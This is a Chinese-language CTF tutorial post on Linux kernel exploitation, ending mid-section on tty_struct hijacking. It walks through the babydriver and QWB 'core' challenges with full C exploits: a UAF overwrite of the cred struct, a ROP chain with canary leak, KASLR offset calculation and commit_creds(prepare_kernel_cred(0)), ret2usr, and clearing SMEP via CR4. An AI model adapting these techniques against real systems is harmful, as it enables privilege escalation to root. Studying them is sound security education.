首页
社区
课程
招聘
[原创]Kernel PWN从入门到提升
2023-3-8 22:35 23132

[原创]Kernel PWN从入门到提升

2023-3-8 22:35
23132

前言

介于本人在入门kernel pwn的时候觉得当前trick种类繁多,前置知识也多得吓人,有点不知所措,且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过,导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。

在开始看这篇文章之前,我希望小伙伴们已经掌握了kernel pwn一些最基本的操作,例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。

另外,如果在阅读的过程中发现任何问题,都欢迎来和我交流指正。

BASIC

environment

在学习kernel pwn之前,需要搭建好很多前置环境

  • qemu
  • busybox
  • 编译linux内核(可选)

至于具体的安装过程并不在本文的讨论范围内,如果还没完成,先自行百度解决

文件系统

kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令

1
2
find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio

(有时解包出来很奇怪,可能是原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍)

cred结构体

kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。

 

原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
} __randomize_layout;

一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)

 

如果能劫持到程序流程,执行以下函数也可以达到相同效果:

1
2
commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);

内核态函数

运行在内核态的函数会和用户态有些许不同

 

printf -> kprintf

 

memcpy -> copy_to_user / copy_from_user

 

内核的动态分配并不会采用用户态的glibc,他的堆分配器是SLAB或SLUB。常使用的函数如下:

 

malloc -> kmalloc

 

free -> kfree

 

为了安全考虑,内核态也只能运行内核态的函数(smep),想要运行system等函数,必须手动切换回用户态。

 

常用的指令是swapgsiretq(或者swapgs_restore_regs_and_return_to_usermode函数,直接对CR3寄存器的第13位取反来完成切换页表的操作,该函数在KPTI开启的版本中依然有效,而swapgs往往会寄)

 

然后需要在栈上存一些上下文:

1
2
3
4
5
6
7
8
9
10
11
12
struct pt_regs {
 
/* ...................... */
 
/* Return frame for iretq */
    unsigned long ip;
    unsigned long cs;
    unsigned long flags;
    unsigned long sp;
    unsigned long ss;
/* top of stack page */
};

gdb远程调试

以babydriver这题为例,先使用脚本extract-vmlinux提取出带符号的源码

1
./extract-vmlinux ./bzImage > ./vmlinux

(脚本源码: https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)

 

(或者用这个https://github.com/marin-m/vmlinux-to-elf)

 

在qemu中找到babydriver.ko代码段的起始地址

 

 

启动gdb过后导入符号表

1
add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000


然后在boot.sh中添加以下参数

 

 

(直接-s也行)

 

重新启动qemu过后,gdb远程连接

1
pwndbg> target remote 127.0.0.1:1234

 

这里给出我常用的一些打包和调试的脚本

 

pack.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/zsh
 
gcc \
    ./exp.c \
    -o exp    \
    -masm=intel \
    --static  \
    -g
 
chmod 777 ./exp
 
find . | cpio -o --format=newc > ./rootfs.cpio
chmod 777 ./rootfs.cpio

gdbinit

1
2
3
file ./vmlinux
target remote 127.0.0.1:1234
c

远程脚本

为了减小远程exp的体积,使用musl进行静态编译()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import sys
import os
from pwn import *
import string
 
context.log_level='debug'
 
sla = lambda x,y : p.sendlineafter(x,y)
sa =  lambda x,y : p.sendafter(x,y)
ru =  lambda x   : p.recvuntil(x)
 
p = remote('127.0.0.1', 1234)
 
def send_cmd(cmd):
    sla('$ ', cmd)
 
def upload():
    lg = log.progress('Upload')
    with open('exp', 'rb') as f:
        data = f.read()
    encoded = base64.b64encode(data)
    encoded = str(encoded)[2:-1]
    for i in range(0, len(encoded), 300):
        lg.status('%d / %d' % (i, len(encoded)))
        send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
    send_cmd('cat benc | base64 -d > bout')
    send_cmd('chmod +x bout')
    lg.success()
 
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
 
p.interactive()

ATTACK

Kernel UAF

babydriver

分析

这是ciscn2017年的一道经典kernel pwn入门题。

 

解压rootfs.cpio后,在/lib/modules/4.4.72中找到了LKM文件babydriver.ko

 

checksec只开了nx,且没有去除符号表,很方便调试和分析

 

直接丢ida分析

1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

babyrelease中kfree()之后没有将babydev_struct.device_buf清空,从而导致了uaf漏洞

 

而且babydev_struct是一个babydevice_t类型的公共变量,结构如下。

1
2
3
4
5
struct babydevice_t
{
    char *device_buf;
    size_t device_buf_len;
};

device_buf是存一个缓冲区的指针,device_buf_len存该缓冲区大小。

 

其他的函数都很常规,

 

babyopen在打开一个设备的时候简单设置了一下babydev_struct的值

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}

babywritebabyread都只检查了一下device_buf指针是否为空和是否越界, 然后对device_buf进行常规的读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
 
  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
 
  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

babyioctl比较有意思,当第二个参数command0x10001时,可以重新kmalloc一块指定大小的object到babydev_struct.device_buf,从而修改了babydev_structdevice_buf_len为一个新值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax
 
  _fentry__(filp, command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

至此,利用思路已经非常明显了。

 

由于babydev_struct只存在一个,且调用到babyrelease的时候有uaf漏洞,我们可以open两个设备,然后使用babyioctlbabydev_struct.device_buf_len改成cred结构体的大小之后free掉,造成第二个设备存在一个悬挂指针。

 

此时再fork()一个新线程,由于kernel的内存分配器采用的是SLUB,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请(kmem_cache_cpu->freelist是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。另,本题内核版本在4.4.72,cred结构体的分配此时还并没有被隔离到cred_jar中)

 

在这个进程中使用babywrite,便可将cred的gid和uid都设置为0

 

写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译

1
gcc exp.c -o exp -static

然后重新打包文件系统,并修改boot.sh-initrd参数为新打包好的文件系统。

 

此时再打开qemu,运行exp过后便可提权成功。

 

(由于本做法在高版本不可能适用,且实际意义不大,所以下文将采用一些更"有意思"的做法来提权)

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int main(){
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
 
    ioctl(fd1, 0x10001, 0xa8);
 
    close(fd1);
    int id = fork();
    if(id<0){
        printf("fork error!\n");
        exit(-1);
    }
    else if(id==0){
        char cred[0x20] = {0};
        write(fd2, cred, 0x1c);
        if(getuid()==0){
            system("/bin/sh");
            exit(0);
        }
    }
    else{
        wait(NULL);
    }
    return 0;
}

Kernel ROP

本质上和用户态的rop并无区别,只是目标从getshell变成了提权,并且rop结束部分需要引导程序流着陆回用户态

core

分析

题目给出了bzImage, core.cpio, start.sh, vmlinux四个文件。

 

先将core.cpio解包

 

发现除了常规文件以外,还多了一个gen_cpio.sh

 

内容如下:

1
2
3
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

这是一个快速打包用的批处理文件。

 

看看start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

开启了kaslr保护,并且用-s为gdb开了端口,所以不需要再-gdb tcp::1234开了。

 

不过他设置的64M内存不是很够用,我最终设置到了256M才能启动。

 

然后分析init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f

比较特殊的地方就是将/proc/sys/kernel/kptr_restrict/proc/sys/kernel/dmesg_restrict的内容设为了1,如此一来,就无法通过dmesg和查看/proc/kallsyms来获取函数地址了。

 

好在他前面有一行

1
cat /proc/kallsyms > /tmp/kallsyms

kallsyms备份到了tmp文件夹下。

 

然后之后设置了poweroff -d 120 -f,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。

 

我最终修改过后的init文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
chown root:root /flag
chmod 400 /flag
cat /sys/module/core/sections/.text > /tmp/info
 
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f

将core的.text节地址备份出来是为了方便后续gdb加载symbol文件。

 

而且这个/sys/module/core/sections/.text是只有root能读的,直接备份出来比较省事,当然也可以直接修改成root启动。

 

此外,为了方便后续打包和调试,我还写了两个批处理文件

1
2
3
4
5
6
7
8
root@ubuntu:/home/kotori/Desktop/core# cat pack.sh
rm ./core.cpio
./gen_cpio.sh ./core.cpio
chmod 777 ./core.cpio
root@ubuntu:/home/kotori/Desktop/core# cat mkc.sh
gcc ./exp.c -o exp --static -masm=intel
chmod 777 ./exp
sudo ./pack.sh

接下来就是分析core.ko的漏洞了

 

checksec发现开启了canary和nx。

 

init_module()exit_core()分别注册和注销了/proc/corecore_release()什么都没做,这里对它们不作分析。

 

core_ioctl中定义了三种操作,分别是调用core_read(),设置全局变量off,调用core_copy_func()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = a3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

core_read可以将距离rsp偏移为off的值往后拷贝0x40个字节给指定缓冲区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]
 
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(a1, &v5[off], 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

这里利用off是可以读出canary的。

 

core_write是将至多0x800个字节从指定缓冲区复制到name中去。

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

这个core_copy_func则是本题最大的漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
 
  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}

当长度参数a1小于等于63时,便可将name中对应字节数的数据复制到栈上变量v2中去,且a1和63作比较时是有符号数,最后调用qmemcpy时转成了unsigned __int16。所以只需要将a1最低两个字节的数据随便设置成一个能装下name的长度,然后其余字节都是0xff就行了。我这里最后构造的a10xffffffffffff0100

 

所以整个攻击流程如下:

  1. 设置好off去读出canary的值
  2. 布置好rop之后调用core_write将rop写入name
  3. 调用core_copy_func,将name的内容写入栈上变量v2中,造成栈溢出,调用commit_creds(prepare_kernel_cred(0))提权。

当然,在写rop之前,还有一个小小的问题需要解决。那就是解决kaslr和pie带来的偏移问题。

 

原始无pie的vmlinux基址是0xffffffff81000000

 

commit_creds的地址是0xffffffff81000000+0x9c8e0

 

prepare_kernel_creds的地址是0xffffffff8109cce0

 

包括后续找到的gadgets的地址,这些全是no-pie情况下的地址,我们还需要知道真正运行起来的时候与之的偏移。

 

这个其实就可以直接在/tmp/kallsyms中,利用他给出的commit_credsprepare_kernel_cred此时的地址来计算出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
size_t leak_vmlinux_base(){
    FILE* fd = fopen("/tmp/kallsyms", "r");
    if(fd==NULL){
        puts("[-] open file failed.");
        exit(-1);
    }
    char buf[0x40] = {0};
    while(fgets(buf, 0x30, fd)!=NULL){
        if(strstr(buf, "commit_creds")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &commit_creds);
            printf("[+] commit_creds: 0x%lx\n", commit_creds);
            prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
            fclose(fd);
            return commit_creds-0x9c8e0;
        }
        else if(strstr(buf, "prepare_kernel_cred")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &prepare_kernel_cred);
            printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
            commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
            fclose(fd);
            return prepare_kernel_cred-0x9cce0;
        }
    }
    fclose(fd);
    return 0;
}

gadgets的预处理可以用ropper解决(ROPgadget太慢了)

1
ropper --file ./vmlinux --nocolor > g

至于rop的构思的话就非常简单了,先摆好rdi为0,然后调用prepare_kernel_cred,此时返回值会在rax中,如果有mov rdi, rax; ret的话将绝杀,可惜没有。

 

不过好在有类似的好几个,我选择了mov rdi, rax; jmp rcx;

 

如果在这之前将rcx摆好commit_creds就很方便了。

 

然后切换回用户态,iretq; ret是有的,swapgs就只有swapgs; popfq; ret;,所以后面要跟一个垃圾数据平衡一下栈。

 

最后按照rip, cs, rflags, rsp, ss的顺序摆好之前用户态的寄存器就好了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t u_cs, u_rflags, u_rsp, u_ss;
size_t commit_creds, prepare_kernel_cred;
void save_status(){
    __asm__("mov u_cs, cs;"
        "pushf;"
        "pop u_rflags;"
        "mov u_rsp, rsp;"
        "mov u_ss, ss;"
    );
}
void set_off(int fd, int offset){
    ioctl(fd, 0x6677889c, offset);
}
size_t leak_canary(int fd){
    size_t temp[0x10] = {0};
    set_off(fd, 0x40);
    ioctl(fd, 0x6677889b, temp);
    return temp[0];
}
size_t leak_vmlinux_base(){
    FILE* fd = fopen("/tmp/kallsyms", "r");
    if(fd==NULL){
        puts("[-] open file failed.");
        exit(-1);
    }
    char buf[0x40] = {0};
    while(fgets(buf, 0x30, fd)!=NULL){
        if(strstr(buf, "commit_creds")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &commit_creds);
            printf("[+] commit_creds: 0x%lx\n", commit_creds);
            prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
            fclose(fd);
            return commit_creds-0x9c8e0;
        }
        else if(strstr(buf, "prepare_kernel_cred")){
            char ptr[0x18] = {0};
            strncpy(ptr, buf, 0x10);
            sscanf(ptr, "%lx", &prepare_kernel_cred);
            printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
            commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
            fclose(fd);
            return prepare_kernel_cred-0x9cce0;
        }
    }
    fclose(fd);
    return 0;
}
void get_root_shell(){
        if(getuid()==0)
            system("/bin/sh");
        else{
            puts("[-] get root shell failed.");
            exit(-1);
        }
}
void rop(int fd, size_t canary, size_t offset){
    size_t name[0x100] = {0};
    //----gadgets----
    size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret;
    size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx;
    size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret;
    size_t swapgs_popfq =  0xffffffff81a012da; // swapgs; popfq; ret;
    size_t iretq  =  0xffffffff81050ac2; // iretq; ret;
    int idx = 0;
    for(idx=0;idx<10;idx++)
        name[idx] = canary;
    name[idx++] = pop_rdi + offset;
    name[idx++] = 0;
    name[idx++] = prepare_kernel_cred;
    name[idx++] = pop_rcx + offset;
    name[idx++] = commit_creds;
    name[idx++] = mov_rdi_rax_jmp_rcx + offset;
    name[idx++] = swapgs_popfq + offset;
    name[idx++] = 0;
    name[idx++] = iretq + offset;
    name[idx++] = (size_t)get_root_shell; //rip
    name[idx++] = u_cs;
    name[idx++] = u_rflags;
    name[idx++] = u_rsp;
    name[idx++] = u_ss;
    write(fd, name, 0x800);
    puts("[+] rop loaded.");
    ioctl(fd, 0x6677889a, (0xffffffffffff0100));
}
int main(){
    save_status();
    int fd = open("/proc/core", O_RDWR);
    size_t canary = leak_canary(fd);
    printf("[+] canary: 0x%lx\n", canary);
    size_t vmlinux_base = leak_vmlinux_base();
    if(!vmlinux_base){
        printf("[-] leak base failed.\n");
        exit(-1);
    }
    size_t vmlinux_base_no_pie = 0xffffffff81000000;
    size_t offset = vmlinux_base - vmlinux_base_no_pie;
    printf("[+] offset: 0x%lx\n", offset);
    rop(fd, canary, offset);
    return 0;
}

SMEP & ret2usr

再看core

之前使用kernel rop的方法打下来了core这道题。但其实,默认情况下,虽然内核态的函数在用户空间下是无法运行的,但用户态的函数在内核空间却可以运行,因此我们可以在用户空间构造好commit_creds(prepare_kernel_cred(0)),然后在内核空间以ring 0权限来运行它。

 

利用这一点,可以对core的exp作出局部调整:

  • 加入get_root函数
1
2
3
4
5
void get_root(){
    void* (*cc)(char *) = commit_creds;
    char* (*pkc)(int) = prepare_kernel_cred;
    (*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));
}
  • 修改rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for(idx=0;idx<10;idx++)
    name[idx] = canary;
/*
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
*/
name[idx++] = (size_t)get_root;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;

仍然可以成功提权。

 

 

(不过此方法在不久之后出现KPTI页表隔离保护之后就完全没法利用了,)

SMEP & SMAP

Introduction

smep保护使得内核态也不能执行内核空间的代码了,因此直接ret2usr会失败。

 

(与之相近的保护机制是smap,他能让内核空间无法直接访问用户空间的数据)

 

不过是否开启smep保护是记录在cr4寄存器上的。

 

cr4寄存器的第20位为1时SMEP就视为开启,为0则视为关闭。

 

Bypass

既然知道了判断是否开启smep的机制,那么bypass思路也很清晰了。只需要利用某些gadgets来修改cr4寄存器的值即可。(通常改成0x6f0,同时关闭smep和smap。不过控制cr4的gadgets在高版本无了)

REsolve: babydriver (hijack tty_operation + ret2usr)

分析

这里用ret2usr的方法再解决一遍babydriver这道题。

 

查看boot.sh,发现开启了smep。

1
2
3
4
5
qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
    -enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

所以我们需要用rop来关闭smep,然后再ret2usr提权。

 

可是这道题的洞是uaf,如何达成rop的目的呢?这里就需要用到tty_structtty_operation这两个结构体了。

 

他们的原型分别如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

tty_struct中有const struct tty_operations *ops;

 

因此如果可以伪造出一个tty_struct,使它的*ops指向一个伪造出来的tty_operation,即可利用writeioctl这些函数来劫持程序执行流程。

 

由于不熟悉结构体,我这里是先把tty_operation的内容布置成了比较有规律的样子,然后利用报错计算偏移

